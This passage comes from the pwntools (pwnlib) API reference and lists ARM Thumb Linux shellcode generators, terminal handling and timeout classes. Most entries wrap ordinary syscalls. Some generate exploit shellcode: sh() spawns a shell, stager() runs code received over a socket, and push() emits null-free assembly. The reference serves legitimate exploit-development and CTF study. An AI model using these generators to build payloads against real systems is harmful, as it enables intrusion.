- **addr** (*void*) – addr
- **len** (*size_t*) – len
- **flags** (*int*) – flags

pwnlib.shellcraft.thumb.linux.**munlock**(*addr*, *length*)

Invokes the syscall munlock. See 'man 2 munlock' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

pwnlib.shellcraft.thumb.linux.**munlockall**()

Invokes the syscall munlockall. See 'man 2 munlockall' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.**munmap**(*addr*, *length*)

Invokes the syscall munmap. See 'man 2 munmap' for more information.

Parameters

- **addr** (*void*) – addr
- **len** (*size_t*) – len

pwnlib.shellcraft.thumb.linux.**nanosleep**(*requested_time*, *remaining*)

Invokes the syscall nanosleep. See 'man 2 nanosleep' for more information.

Parameters

- **requested_time** (*timespec*) – requested_time
- **remaining** (*timespec*) – remaining

pwnlib.shellcraft.thumb.linux.**nice**(*inc*)

Invokes the syscall nice. See 'man 2 nice' for more information.

Parameters **inc** (*int*) – inc

pwnlib.shellcraft.thumb.linux.**open**(*file*, *oflag*, *vararg*)

Invokes the syscall open. See 'man 2 open' for more information.

Parameters

- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

pwnlib.shellcraft.thumb.linux.**openat**(*fd*, *file*, *oflag*, *vararg*)

Invokes the syscall openat. See 'man 2 openat' for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **oflag** (*int*) – oflag
- **vararg** (*int*) – vararg

pwnlib.shellcraft.thumb.linux.**pause**()

Invokes the syscall pause. See 'man 2 pause' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.**pipe**(*pipedes*)

Invokes the syscall pipe. See 'man 2 pipe' for more information.

Parameters **pipedes** (*int*) – pipedes

pwnlib.shellcraft.thumb.linux.**pipe2**(*pipedes*, *flags*)

Invokes the syscall pipe2. See 'man 2 pipe2' for more information.

Parameters

- **pipedes** (*int*) – pipedes
- **flags** (*int*) – flags

pwnlib.shellcraft.thumb.linux.**poll**(*fds*, *nfds*, *timeout*)

Invokes the syscall poll. See 'man 2 poll' for more information.

Parameters

- **fds** (*pollfd*) – fds
- **nfds** (*nfds_t*) – nfds
- **timeout** (*int*) – timeout

pwnlib.shellcraft.thumb.linux.**ppoll**(*fds*, *nfds*, *timeout*, *ss*)

Invokes the syscall ppoll. See 'man 2 ppoll' for more information.

Parameters

- **fds** (*pollfd*) – fds
- **nfds** (*nfds_t*) – nfds
- **timeout** (*timespec*) – timeout
- **ss** (*sigset_t*) – ss

pwnlib.shellcraft.thumb.linux.**prctl**(*option*, *vararg*)

Invokes the syscall prctl. See 'man 2 prctl' for more information.

Parameters

- **option** (*int*) – option
- **vararg** (*int*) – vararg

pwnlib.shellcraft.thumb.linux.**pread**(*fd*, *buf*, *nbytes*, *offset*)

Invokes the syscall pread. See 'man 2 pread' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf

- **nbytes** (*size_t*) – nbytes
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.thumb.linux.`**`preadv`**(*fd*, *iovec*, *count*, *offset*)

Invokes the syscall preadv. See 'man 2 preadv' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.thumb.linux.`**`prlimit64`**(*pid*, *resource*, *new_limit*, *old_limit*)

Invokes the syscall prlimit64. See 'man 2 prlimit64' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **resource** (*rlimit_resource*) – resource
- **new_limit** (*rlimit64*) – new_limit
- **old_limit** (*rlimit64*) – old_limit

`pwnlib.shellcraft.thumb.linux.`**`profil`**(*sample_buffer*, *size*, *offset*, *scale*)

Invokes the syscall profil. See 'man 2 profil' for more information.

Parameters

- **sample_buffer** (*unsigned*) – sample_buffer
- **size** (*size_t*) – size
- **offset** (*size_t*) – offset
- **scale** (*unsigned*) – scale

`pwnlib.shellcraft.thumb.linux.`**`ptrace`**(*request*, *vararg*)

Invokes the syscall ptrace. See 'man 2 ptrace' for more information.

Parameters

- **request** (*ptrace_request*) – request
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.thumb.linux.`**`push`**(*value*)

Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch = 'thumb'* using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters **value** (*int, str*) – The value or register to push

Example

```
>>> print pwnlib.shellcraft.thumb.push('r0').rstrip()
    push {r0}
>>> print pwnlib.shellcraft.thumb.push(0).rstrip()
    /* push 0 */
    eor r7, r7
    push {r7}
>>> print pwnlib.shellcraft.thumb.push(1).rstrip()
    /* push 1 */
    mov r7, #1
    push {r7}
>>> print pwnlib.shellcraft.thumb.push(256).rstrip()
    /* push 256 */
    mov r7, #0x100
    push {r7}
>>> print pwnlib.shellcraft.thumb.push('SYS_execve').rstrip()
    /* push 'SYS_execve' */
    mov r7, #0xb
    push {r7}
>>> with context.local(os = 'freebsd'):
...     print pwnlib.shellcraft.thumb.push('SYS_execve').rstrip()
    /* push 'SYS_execve' */
    mov r7, #0x3b
    push {r7}
```

`pwnlib.shellcraft.thumb.linux.`**`putpmsg`**(*fildes*, *ctlptr*, *dataptr*, *band*, *flags*)

Invokes the syscall putpmsg. See 'man 2 putpmsg' for more information.

Parameters

- **fildes** (*int*) – fildes
- **ctlptr** (*strbuf*) – ctlptr
- **dataptr** (*strbuf*) – dataptr
- **band** (*int*) – band
- **flags** (*int*) – flags

`pwnlib.shellcraft.thumb.linux.`**`pwrite`**(*fd*, *buf*, *n*, *offset*)

Invokes the syscall pwrite. See 'man 2 pwrite' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **offset** (*off_t*) – offset

`pwnlib.shellcraft.thumb.linux.`**`pwritev`**(*fd*, *iovec*, *count*, *offset*)

Invokes the syscall pwritev. See 'man 2 pwritev' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count
- **offset** (*off_t*) – offset

pwnlib.shellcraft.thumb.linux.**read**(*fd*, *buf*, *nbytes*)

Invokes the syscall read. See 'man 2 read' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

pwnlib.shellcraft.thumb.linux.**readahead**(*fd*, *offset*, *count*)

Invokes the syscall readahead. See 'man 2 readahead' for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

pwnlib.shellcraft.thumb.linux.**readdir**(*dirp*)

Invokes the syscall readdir. See 'man 2 readdir' for more information.

Parameters **dirp** (*DIR*) – dirp

pwnlib.shellcraft.thumb.linux.**readfile**(*path*, *dst='r6'*)

Args: [path, dst (imm/reg) = r6] Opens the specified file path and sends its content to the specified file descriptor. Leaves the destination file descriptor in r6 and the input file descriptor in r5.

pwnlib.shellcraft.thumb.linux.**readlink**(*path*, *buf*, *length*)

Invokes the syscall readlink. See 'man 2 readlink' for more information.

Parameters

- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

pwnlib.shellcraft.thumb.linux.**readlinkat**(*fd*, *path*, *buf*, *length*)

Invokes the syscall readlinkat. See 'man 2 readlinkat' for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **buf** (*char*) – buf
- **len** (*size_t*) – len

pwnlib.shellcraft.thumb.linux.**readn**(*fd*, *buf*, *nbytes*)

Reads exactly nbytes bytes from file descriptor fd into the buffer buf.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **nbytes** (*size_t*) – nbytes

pwnlib.shellcraft.thumb.linux.**readv**(*fd*, *iovec*, *count*)

Invokes the syscall readv. See 'man 2 readv' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

`pwnlib.shellcraft.thumb.linux.`**`recv`**(*fd*, *buf*, *n*, *flags*)

Invokes the syscall recv. See 'man 2 recv' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags

`pwnlib.shellcraft.thumb.linux.`**`recvfrom`**(*fd*, *buf*, *n*, *flags*, *addr*, *addr_len*)

Invokes the syscall recvfrom. See 'man 2 recvfrom' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n
- **flags** (*int*) – flags
- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

`pwnlib.shellcraft.thumb.linux.`**`recvmmsg`**(*fd*, *vmessages*, *vlen*, *flags*, *tmo*)

Invokes the syscall recvmmsg. See 'man 2 recvmmsg' for more information.

Parameters

- **fd** (*int*) – fd
- **vmessages** (*mmsghdr*) – vmessages
- **vlen** (*unsigned*) – vlen
- **flags** (*int*) – flags
- **tmo** (*timespec*) – tmo

`pwnlib.shellcraft.thumb.linux.`**`recvmsg`**(*fd*, *message*, *flags*)

Invokes the syscall recvmsg. See 'man 2 recvmsg' for more information.

Parameters

- **fd** (*int*) – fd
- **message** (*msghdr*) – message
- **flags** (*int*) – flags

`pwnlib.shellcraft.thumb.linux.`**`recvsize`**(*sock*, *reg='r1'*)

Recives 4 bytes size field Useful in conjuncion with findpeer and stager :param sock, the socket to read the payload from.: :param reg, the place to put the size: :type reg, the place to put the size: default ecx

Leaves socket in ebx

pwnlib.shellcraft.thumb.linux.**remap_file_pages**(*start*, *size*, *prot*, *pgoff*, *flags*)

Invokes the syscall remap_file_pages. See 'man 2 remap_file_pages' for more information.

Parameters

- **start** (*void*) – start
- **size** (*size_t*) – size
- **prot** (*int*) – prot
- **pgoff** (*size_t*) – pgoff
- **flags** (*int*) – flags

pwnlib.shellcraft.thumb.linux.**rename**(*old*, *new*)

Invokes the syscall rename. See 'man 2 rename' for more information.

Parameters

- **old** (*char*) – old
- **new** (*char*) – new

pwnlib.shellcraft.thumb.linux.**renameat**(*oldfd*, *old*, *newfd*, *new*)

Invokes the syscall renameat. See 'man 2 renameat' for more information.

Parameters

- **oldfd** (*int*) – oldfd
- **old** (*char*) – old
- **newfd** (*int*) – newfd
- **new** (*char*) – new

pwnlib.shellcraft.thumb.linux.**rmdir**(*path*)

Invokes the syscall rmdir. See 'man 2 rmdir' for more information.

Parameters **path** (*char*) – path

pwnlib.shellcraft.thumb.linux.**sched_get_priority_max**(*algorithm*)

Invokes the syscall sched_get_priority_max. See 'man 2 sched_get_priority_max' for more information.

Parameters **algorithm** (*int*) – algorithm

pwnlib.shellcraft.thumb.linux.**sched_get_priority_min**(*algorithm*)

Invokes the syscall sched_get_priority_min. See 'man 2 sched_get_priority_min' for more information.

Parameters **algorithm** (*int*) – algorithm

pwnlib.shellcraft.thumb.linux.**sched_getaffinity**(*pid*, *cpusetsize*, *cpuset*)

Invokes the syscall sched_getaffinity. See 'man 2 sched_getaffinity' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **cpusetsize** (*size_t*) – cpusetsize
- **cpuset** (*cpu_set_t*) – cpuset

pwnlib.shellcraft.thumb.linux.**sched_getparam**(*pid*, *param*)

Invokes the syscall sched_getparam. See 'man 2 sched_getparam' for more information.

Parameters

- **pid** (*pid_t*) – pid

- **param** (*sched_param*) – param

pwnlib.shellcraft.thumb.linux.**sched_getscheduler**(*pid*)

Invokes the syscall sched_getscheduler. See ‘man 2 sched_getscheduler’ for more information.

Parameters **pid** (*pid_t*) – pid

pwnlib.shellcraft.thumb.linux.**sched_rr_get_interval**(*pid*, *t*)

Invokes the syscall sched_rr_get_interval. See ‘man 2 sched_rr_get_interval’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **t** (*timespec*) – t

pwnlib.shellcraft.thumb.linux.**sched_setaffinity**(*pid*, *cpusetsize*, *cpuset*)

Invokes the syscall sched_setaffinity. See ‘man 2 sched_setaffinity’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **cpusetsize** (*size_t*) – cpusetsize
- **cpuset** (*cpu_set_t*) – cpuset

pwnlib.shellcraft.thumb.linux.**sched_setparam**(*pid*, *param*)

Invokes the syscall sched_setparam. See ‘man 2 sched_setparam’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **param** (*sched_param*) – param

pwnlib.shellcraft.thumb.linux.**sched_setscheduler**(*pid*, *policy*, *param*)

Invokes the syscall sched_setscheduler. See ‘man 2 sched_setscheduler’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **policy** (*int*) – policy
- **param** (*sched_param*) – param

pwnlib.shellcraft.thumb.linux.**sched_yield**()

Invokes the syscall sched_yield. See ‘man 2 sched_yield’ for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.**select**(*nfds*, *readfds*, *writefds*, *exceptfds*, *timeout*)

Invokes the syscall select. See ‘man 2 select’ for more information.

Parameters

- **nfds** (*int*) – nfds
- **readfds** (*fd_set*) – readfds
- **writefds** (*fd_set*) – writefds
- **exceptfds** (*fd_set*) – exceptfds
- **timeout** (*timeval*) – timeout

pwnlib.shellcraft.thumb.linux.**sendfile**(*out_fd*, *in_fd*, *offset*, *count*)

Invokes the syscall sendfile. See ‘man 2 sendfile’ for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd
- **offset** (*off_t*) – offset
- **count** (*size_t*) – count

pwnlib.shellcraft.thumb.linux.**sendfile64** (*out_fd*, *in_fd*, *offset*, *count*)
Invokes the syscall sendfile64. See 'man 2 sendfile64' for more information.

Parameters

- **out_fd** (*int*) – out_fd
- **in_fd** (*int*) – in_fd
- **offset** (*off64_t*) – offset
- **count** (*size_t*) – count

pwnlib.shellcraft.thumb.linux.**setdomainname** (*name*, *length*)
Invokes the syscall setdomainname. See 'man 2 setdomainname' for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

pwnlib.shellcraft.thumb.linux.**setgid** (*gid*)
Invokes the syscall setgid. See 'man 2 setgid' for more information.

Parameters **gid** (*gid_t*) – gid

pwnlib.shellcraft.thumb.linux.**setgroups** (*n*, *groups*)
Invokes the syscall setgroups. See 'man 2 setgroups' for more information.

Parameters

- **n** (*size_t*) – n
- **groups** (*gid_t*) – groups

pwnlib.shellcraft.thumb.linux.**sethostname** (*name*, *length*)
Invokes the syscall sethostname. See 'man 2 sethostname' for more information.

Parameters

- **name** (*char*) – name
- **len** (*size_t*) – len

pwnlib.shellcraft.thumb.linux.**setitimer** (*which*, *new*, *old*)
Invokes the syscall setitimer. See 'man 2 setitimer' for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **new** (*itimerval*) – new
- **old** (*itimerval*) – old

pwnlib.shellcraft.thumb.linux.**setpgid** (*pid*, *pgid*)
Invokes the syscall setpgid. See 'man 2 setpgid' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **pgid** (*pid_t*) – pgid

pwnlib.shellcraft.thumb.linux.**setpriority**(*which*, *who*, *prio*)

Invokes the syscall setpriority. See 'man 2 setpriority' for more information.

Parameters

- **which** (*priority_which_t*) – which
- **who** (*id_t*) – who
- **prio** (*int*) – prio

pwnlib.shellcraft.thumb.linux.**setregid**(*rgid*, *egid*)

Invokes the syscall setregid. See 'man 2 setregid' for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid

pwnlib.shellcraft.thumb.linux.**setresgid**(*rgid*, *egid*, *sgid*)

Invokes the syscall setresgid. See 'man 2 setresgid' for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid
- **sgid** (*gid_t*) – sgid

pwnlib.shellcraft.thumb.linux.**setresuid**(*ruid*, *euid*, *suid*)

Invokes the syscall setresuid. See 'man 2 setresuid' for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid
- **suid** (*uid_t*) – suid

pwnlib.shellcraft.thumb.linux.**setreuid**(*ruid*, *euid*)

Invokes the syscall setreuid. See 'man 2 setreuid' for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid

pwnlib.shellcraft.thumb.linux.**setrlimit**(*resource*, *rlimits*)

Invokes the syscall setrlimit. See 'man 2 setrlimit' for more information.

Parameters

- **resource** (*rlimit_resource_t*) – resource
- **rlimits** (*rlimit*) – rlimits

pwnlib.shellcraft.thumb.linux.**setsid**()

Invokes the syscall setsid. See 'man 2 setsid' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.**settimeofday**(*tv*, *tz*)

Invokes the syscall settimeofday. See 'man 2 settimeofday' for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone*) – tz

pwnlib.shellcraft.thumb.linux.**setuid**(*uid*)

Invokes the syscall setuid. See 'man 2 setuid' for more information.

Parameters **uid** (*uid_t*) – uid

pwnlib.shellcraft.thumb.linux.**sh**()

Execute a different process.

```
>>> p = run_assembly(shellcraft.thumb.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

pwnlib.shellcraft.thumb.linux.**sigaction**(*sig*, *act*, *oact*)

Invokes the syscall sigaction. See 'man 2 sigaction' for more information.

Parameters

- **sig** (*int*) – sig
- **act** (*sigaction*) – act
- **oact** (*sigaction*) – oact

pwnlib.shellcraft.thumb.linux.**sigaltstack**(*ss*, *oss*)

Invokes the syscall sigaltstack. See 'man 2 sigaltstack' for more information.

Parameters

- **ss** (*sigaltstack*) – ss
- **oss** (*sigaltstack*) – oss

pwnlib.shellcraft.thumb.linux.**signal**(*sig*, *handler*)

Invokes the syscall signal. See 'man 2 signal' for more information.

Parameters

- **sig** (*int*) – sig
- **handler** (*sighandler_t*) – handler

pwnlib.shellcraft.thumb.linux.**sigpending**(*set*)

Invokes the syscall sigpending. See 'man 2 sigpending' for more information.

Parameters **set** (*sigset_t*) – set

pwnlib.shellcraft.thumb.linux.**sigprocmask**(*how*, *set*, *oset*)

Invokes the syscall sigprocmask. See 'man 2 sigprocmask' for more information.

Parameters

- **how** (*int*) – how

- **set** (*sigset_t*) – set
- **oset** (*sigset_t*) – oset

`pwnlib.shellcraft.thumb.linux.`**sigreturn**(*scp*)
Invokes the syscall sigreturn. See 'man 2 sigreturn' for more information.

`pwnlib.shellcraft.thumb.linux.`**sigsuspend**(*set*)
Invokes the syscall sigsuspend. See 'man 2 sigsuspend' for more information.

Parameters **set** (*sigset_t*) – set

`pwnlib.shellcraft.thumb.linux.`**splice**(*fdin*, *offin*, *fdout*, *offout*, *length*, *flags*)
Invokes the syscall splice. See 'man 2 splice' for more information.

Parameters

- **fdin** (*int*) – fdin
- **offin** (*off64_t*) – offin
- **fdout** (*int*) – fdout
- **offout** (*off64_t*) – offout
- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.thumb.linux.`**stage**(*fd=0*, *length=None*)
Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to recv data from. Default is stdin (0).
- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

`pwnlib.shellcraft.thumb.linux.`**stager**(*sock*, *size*)
Read 'size' bytes from 'sock' and place them in an executable buffer and jump to it. The socket will be left in r6.

`pwnlib.shellcraft.thumb.linux.`**stat**(*file*, *buf*)
Invokes the syscall stat. See 'man 2 stat' for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat*) – buf

`pwnlib.shellcraft.thumb.linux.`**stat64**(*file*, *buf*)
Invokes the syscall stat64. See 'man 2 stat64' for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat64*) – buf

pwnlib.shellcraft.thumb.linux.**stime**(*when*)

Invokes the syscall stime. See 'man 2 stime' for more information.

Parameters **when** (*time_t*) – when

pwnlib.shellcraft.thumb.linux.**stty**(*fd*, *params*)

Invokes the syscall stty. See 'man 2 stty' for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

pwnlib.shellcraft.thumb.linux.**symlink**(*from_*, *to*)

Invokes the syscall symlink. See 'man 2 symlink' for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

pwnlib.shellcraft.thumb.linux.**symlinkat**(*from_*, *tofd*, *to*)

Invokes the syscall symlinkat. See 'man 2 symlinkat' for more information.

Parameters

- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to

pwnlib.shellcraft.thumb.linux.**sync**()

Invokes the syscall sync. See 'man 2 sync' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.**sync_file_range**(*fd*, *offset*, *count*, *flags*)

Invokes the syscall sync_file_range. See 'man 2 sync_file_range' for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*off64_t*) – count
- **flags** (*unsigned*) – flags

pwnlib.shellcraft.thumb.linux.**syscall**(*syscall=None*, *arg0=None*, *arg1=None*, *arg2=None*, *arg3=None*, *arg4=None*, *arg5=None*, *arg6=None*)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print shellcraft.thumb.linux.syscall(11, 1, 'sp', 2, 0).rstrip()
    /* call syscall(11, 1, 'sp', 2, 0) */
    mov r0, #1
    mov r1, sp
    mov r2, #2
    eor r3, r3
    mov r7, #0xb
    svc 0x41
>>> print shellcraft.thumb.linux.syscall('SYS_exit', 0).rstrip()
    /* call exit(0) */
    eor r0, r0
    mov r7, #(SYS_exit) /* 1 */
    svc 0x41
```

pwnlib.shellcraft.thumb.linux.**syslog**(*pri*, *fmt*, *vararg*)

Invokes the syscall syslog. See 'man 2 syslog' for more information.

Parameters

- **pri** (*int*) – pri
- **fmt** (*char*) – fmt
- **vararg** (*int*) – vararg

pwnlib.shellcraft.thumb.linux.**tee**(*fdin*, *fdout*, *length*, *flags*)

Invokes the syscall tee. See 'man 2 tee' for more information.

Parameters

- **fdin** (*int*) – fdin
- **fdout** (*int*) – fdout
- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

pwnlib.shellcraft.thumb.linux.**time**(*timer*)

Invokes the syscall time. See 'man 2 time' for more information.

Parameters **timer** (*time_t*) – timer

pwnlib.shellcraft.thumb.linux.**timer_create**(*clock_id*, *evp*, *timerid*)

Invokes the syscall timer_create. See 'man 2 timer_create' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **evp** (*sigevent*) – evp
- **timerid** (*timer_t*) – timerid

pwnlib.shellcraft.thumb.linux.**timer_delete**(*timerid*)

Invokes the syscall timer_delete. See 'man 2 timer_delete' for more information.

Parameters **timerid** (*timer_t*) – timerid

pwnlib.shellcraft.thumb.linux.**timer_getoverrun**(*timerid*)

Invokes the syscall timer_getoverrun. See 'man 2 timer_getoverrun' for more information.

Parameters **timerid** (*timer_t*) – timerid

pwnlib.shellcraft.thumb.linux.**timer_gettime**(*timerid*, *value*)
Invokes the syscall timer_gettime. See 'man 2 timer_gettime' for more information.

Parameters

- **timerid** (*timer_t*) – timerid
- **value** (*itimerspec*) – value

pwnlib.shellcraft.thumb.linux.**timer_settime**(*timerid*, *flags*, *value*, *ovalue*)
Invokes the syscall timer_settime. See 'man 2 timer_settime' for more information.

Parameters

- **timerid** (*timer_t*) – timerid
- **flags** (*int*) – flags
- **value** (*itimerspec*) – value
- **ovalue** (*itimerspec*) – ovalue

pwnlib.shellcraft.thumb.linux.**truncate**(*file*, *length*)
Invokes the syscall truncate. See 'man 2 truncate' for more information.

Parameters

- **file** (*char*) – file
- **length** (*off_t*) – length

pwnlib.shellcraft.thumb.linux.**truncate64**(*file*, *length*)
Invokes the syscall truncate64. See 'man 2 truncate64' for more information.

Parameters

- **file** (*char*) – file
- **length** (*off64_t*) – length

pwnlib.shellcraft.thumb.linux.**ulimit**(*cmd*, *vararg*)
Invokes the syscall ulimit. See 'man 2 ulimit' for more information.

Parameters

- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

pwnlib.shellcraft.thumb.linux.**umask**(*mask*)
Invokes the syscall umask. See 'man 2 umask' for more information.

Parameters **mask** (*mode_t*) – mask

pwnlib.shellcraft.thumb.linux.**uname**(*name*)
Invokes the syscall uname. See 'man 2 uname' for more information.

Parameters **name** (*utsname*) – name

pwnlib.shellcraft.thumb.linux.**unlink**(*name*)
Invokes the syscall unlink. See 'man 2 unlink' for more information.

Parameters **name** (*char*) – name

pwnlib.shellcraft.thumb.linux.**unlinkat**(*fd*, *name*, *flag*)
Invokes the syscall unlinkat. See 'man 2 unlinkat' for more information.

Parameters

- **fd** (*int*) – fd
- **name** (*char*) – name
- **flag** (*int*) – flag

pwnlib.shellcraft.thumb.linux.**unshare**(*flags*)

Invokes the syscall unshare. See 'man 2 unshare' for more information.

Parameters **flags** (*int*) – flags

pwnlib.shellcraft.thumb.linux.**ustat**(*dev*, *ubuf*)

Invokes the syscall ustat. See 'man 2 ustat' for more information.

Parameters

- **dev** (*dev_t*) – dev
- **ubuf** (ustat) – ubuf

pwnlib.shellcraft.thumb.linux.**utime**(*file*, *file_times*)

Invokes the syscall utime. See 'man 2 utime' for more information.

Parameters

- **file** (*char*) – file
- **file_times** (*utimbuf*) – file_times

pwnlib.shellcraft.thumb.linux.**utimensat**(*fd*, *path*, *times*, *flags*)

Invokes the syscall utimensat. See 'man 2 utimensat' for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **times** (*timespec*) – times
- **flags** (*int*) – flags

pwnlib.shellcraft.thumb.linux.**utimes**(*file*, *tvp*)

Invokes the syscall utimes. See 'man 2 utimes' for more information.

Parameters

- **file** (*char*) – file
- **tvp** (*timeval*) – tvp

pwnlib.shellcraft.thumb.linux.**vfork**()

Invokes the syscall vfork. See 'man 2 vfork' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.**vhangup**()

Invokes the syscall vhangup. See 'man 2 vhangup' for more information.

Arguments:

pwnlib.shellcraft.thumb.linux.**vmsplice**(*fdout*, *iov*, *count*, *flags*)

Invokes the syscall vmsplice. See 'man 2 vmsplice' for more information.

Parameters

- **fdout** (*int*) – fdout
- **iov** (*iovec*) – iov

- **count** (*size_t*) – count
- **flags** (*unsigned*) – flags

pwnlib.shellcraft.thumb.linux.**wait4**(*pid*, *stat_loc*, *options*, *usage*)

Invokes the syscall wait4. See 'man 2 wait4' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*WAIT_STATUS*) – stat_loc
- **options** (*int*) – options
- **usage** (*rusage*) – usage

pwnlib.shellcraft.thumb.linux.**waitid**(*idtype*, *id*, *infop*, *options*)

Invokes the syscall waitid. See 'man 2 waitid' for more information.

Parameters

- **idtype** (*idtype_t*) – idtype
- **id** (*id_t*) – id
- **infop** (*siginfo_t*) – infop
- **options** (*int*) – options

pwnlib.shellcraft.thumb.linux.**waitpid**(*pid*, *stat_loc*, *options*)

Invokes the syscall waitpid. See 'man 2 waitpid' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*int*) – stat_loc
- **options** (*int*) – options

pwnlib.shellcraft.thumb.linux.**write**(*fd*, *buf*, *n*)

Invokes the syscall write. See 'man 2 write' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n

pwnlib.shellcraft.thumb.linux.**writev**(*fd*, *iovec*, *count*)

Invokes the syscall writev. See 'man 2 writev' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

2.19 `pwnlib.term` — Terminal handling

`pwnlib.term.`**`can_init`**`()`

This function returns True iff stderr is a TTY and we are not inside a REPL. Iff this function returns *True*, a call to *`init()`* will let `pwnlib` manage the terminal.

`pwnlib.term.`**`init`**`()`

Calling this function will take over the terminal (iff *`can_init()`* returns True) until the current python interpreter is closed.

It is on our TODO, to create a function to "give back" the terminal without closing the interpreter.

`pwnlib.term.`**`term_mode`** **= False**

This is True exactly when we have taken over the terminal using *`init()`*.

2.20 `pwnlib.timeout` — Timeout handling

Timeout encapsulation, complete with countdowns and scope managers.

class `pwnlib.timeout.`**`Timeout`**`(`*timeout=pwnlib.timeout.Timeout.default*`)`

Implements a basic class which has a timeout, and support for scoped timeout countdowns.

Valid timeout values are:

- `Timeout.default` use the global default value (`context.default`)
- `Timeout.forever` or `None` never time out
- Any positive float, indicates timeouts in seconds

Example

```
>>> context.timeout = 30
>>> t = Timeout()
>>> t.timeout == 30
True
>>> t = Timeout(5)
>>> t.timeout == 5
True
>>> i = 0
>>> with t.countdown():
...     print (4 <= t.timeout and t.timeout <= 5)
...
True
>>> with t.countdown(0.5):
...     while t.timeout:
...         print round(t.timeout,1)
...         time.sleep(0.1)
0.5
0.4
0.3
0.2
0.1
>>> print t.timeout
5.0
>>> with t.local(0.5):
```

```
...     for i in range(5):
...         print round(t.timeout,1)
...         time.sleep(0.1)
0.5
0.5
0.5
0.5
0.5
>>> print t.timeout
5.0
```

countdown (*timeout=pwnlib.timeout.Timeout.default*)

Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

When accessing *timeout* within the scope, it will be calculated against the time when the scope was entered, in a countdown fashion.

If `None` is specified for `timeout`, then the current timeout is used is made. This allows `None` to be specified as a default argument with less complexity.

default = pwnlib.timeout.Timeout.default

Value indicating that the timeout should not be changed

forever = None

Value indicating that a timeout should not ever occur

local (*timeout*)

Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

maximum = pwnlib.timeout.maximum

Maximum value for a timeout. Used to get around platform issues with very large timeouts.

